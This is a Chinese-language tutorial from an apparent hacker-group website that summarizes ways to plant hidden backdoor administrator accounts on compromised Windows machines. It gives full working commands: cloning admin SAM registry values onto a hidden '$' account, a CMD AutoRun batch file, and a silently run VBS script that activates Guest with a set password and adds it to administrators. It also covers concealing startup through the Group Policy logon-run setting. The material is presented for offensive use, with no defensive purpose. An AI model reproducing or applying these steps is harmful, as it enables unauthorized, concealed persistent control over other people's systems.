windows系统后门账号小结 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文	用户登录新用户注册

windows系统后门账号小结

热 ★★★

【字体：小大】

windows系统后门账号小结

作者：ByShell 文章来源：istroop.org 点击数：更新时间：2004-10-24

1.是用superdoor这个工具(要VB运行库)
用法：door user password  例：door xysky$ 123456

在CMD中和计算机管理看不到，要注册表中可以看
高手用winlogo查PID 一看就知了，还要，进注册表也可
附，如果在运行CMD的时候进注册表这里，会报错，哈！

PS：偶一直少用这个工具，晕，被杀撒！

2.在注册表中克隆一个建立隐藏账号

如果你喜欢工具，用榕哥的CA就可以了，我这是在注册表在操作，一样的原理撒！

首先3389上肉鸡

进入注册表regedt32（注册这里的是regedt32，与regedit不同撒）

增加当前用户访问HKEY_LOCAL_MACHINE\SAM\ADM的权限
进了这里，选中SAM，点安全－－＞权限，在对话框中增加当前用户并勾选上“完全控制”

新建一个用户 net user xysky$ 123456 /add

再打开注册表regedit
访问HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
将xysky$克隆成管理员
就是复制管理员的数据到你的撒
导出xysky$所对应的两个值

将xysky$删掉　net user xysky$ /del

导入刚才导出的两个值，建立完成

PS:用户建好之后，在命令行里和电脑管理中看不到此用户，只有在用这个用户登陆的时候才能看到，不能改密码，改了注册表会出错，在命令行下删不掉，只有在注册表里可以删除。另外，你可以克隆其它任何人撒，这里只提供思路！

3.做不死的幽灵账号
首先说一下原理：
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

这两个位置　如果 /D 未在命令行上被指定，当 CMD.EXE 运行时，它会自动寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在，这两个变量会先予执行。
也就是说，只要启动了CMD就会运行上述的脚本，可以说成是CMD关联吧。

相信懂了原理，你想干什么就干什么，我这里是做账号撒！！
可能你想建个批处理放到这个注册表下，呵呵。
批处理代码如下：
@echo off
net user xysky$ 123456789 /add
net localgroup administrators xysky$ /add
保存成一个批处理文件，放到注册表启动中关联CMD！
你亲自试一下吧，打开你的CMD，会不会有点不同呢！
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
命令成功完成。

命令成功完成。

D:\WINNT>
因为你执行了两个命令所以有两个成功显示撒！
呵，我想管理员会发现的撒！
呵，下面这代码就有了它的优点，呵！
先建立一个VBS文件内容如下：
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 123456789",0
wsh.run "net localgroup administrators guest /add",0
上面一段VBS的意思就是激活GUEST帐号，并且加为高级管理组，设置密码为123456789
保存好，再进入注册表，找到上面的位置，填上这个VBS的路径，呵呵！
好了，打开你的计算机管理，关了GUEST　再开CMD，再打开你的计算机管理，呵呵！有什么发现呢！

PS:我想你看了这里，可能想到更多的方法，只要是可以随系统启动运行就可以了，比如在组策略里加载这个文件启动，呵！下面我们来演示一下吧！

4.另类的隐藏启动方式

在黑客在线7上看了一篇文章，有了点思路，于是用到账号上来，呵呵！
木马你了解吗？一般是在一些设置启动的文件如win.ini或者注册表中启动相关，再高级点的就是注册为服务，随系统启动而启动！不过以上启动方式都可以在msconfig 启动服务中找到踪迹！
下面利用组策略的用户登陆运行程序，呵呵！
开始-->运行在中执行 Gpedit.msc 打开组策略  依次展开用户配置管理模板  系统登陆在右边找到“在用户登陆时运行这些程序” 双击打开设为启用并按显示按钮出现“显示内容”窗口，在这里添加你的程序(我这里是加载上面的脚本，呵呵！)就得了。

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章： “后门”的攻击与防御

下一篇文章：一次真实的入侵--记对一足球推荐站点的渗透

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				如何分级防御针对Linux服务器活地运用SQL Injection做数据 Skype用户须警惕新Windows蠕 McAfee发布Windows Mobile风 Windows Vista对付ARP病毒有非主流入侵之会话劫持winnt/ US CERT:谷歌eBay雅虎网站均微软今日发布Windows Live测 SIDVault Simple_Bind 函数多 Thomson SpeedTouch 2030 SI

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM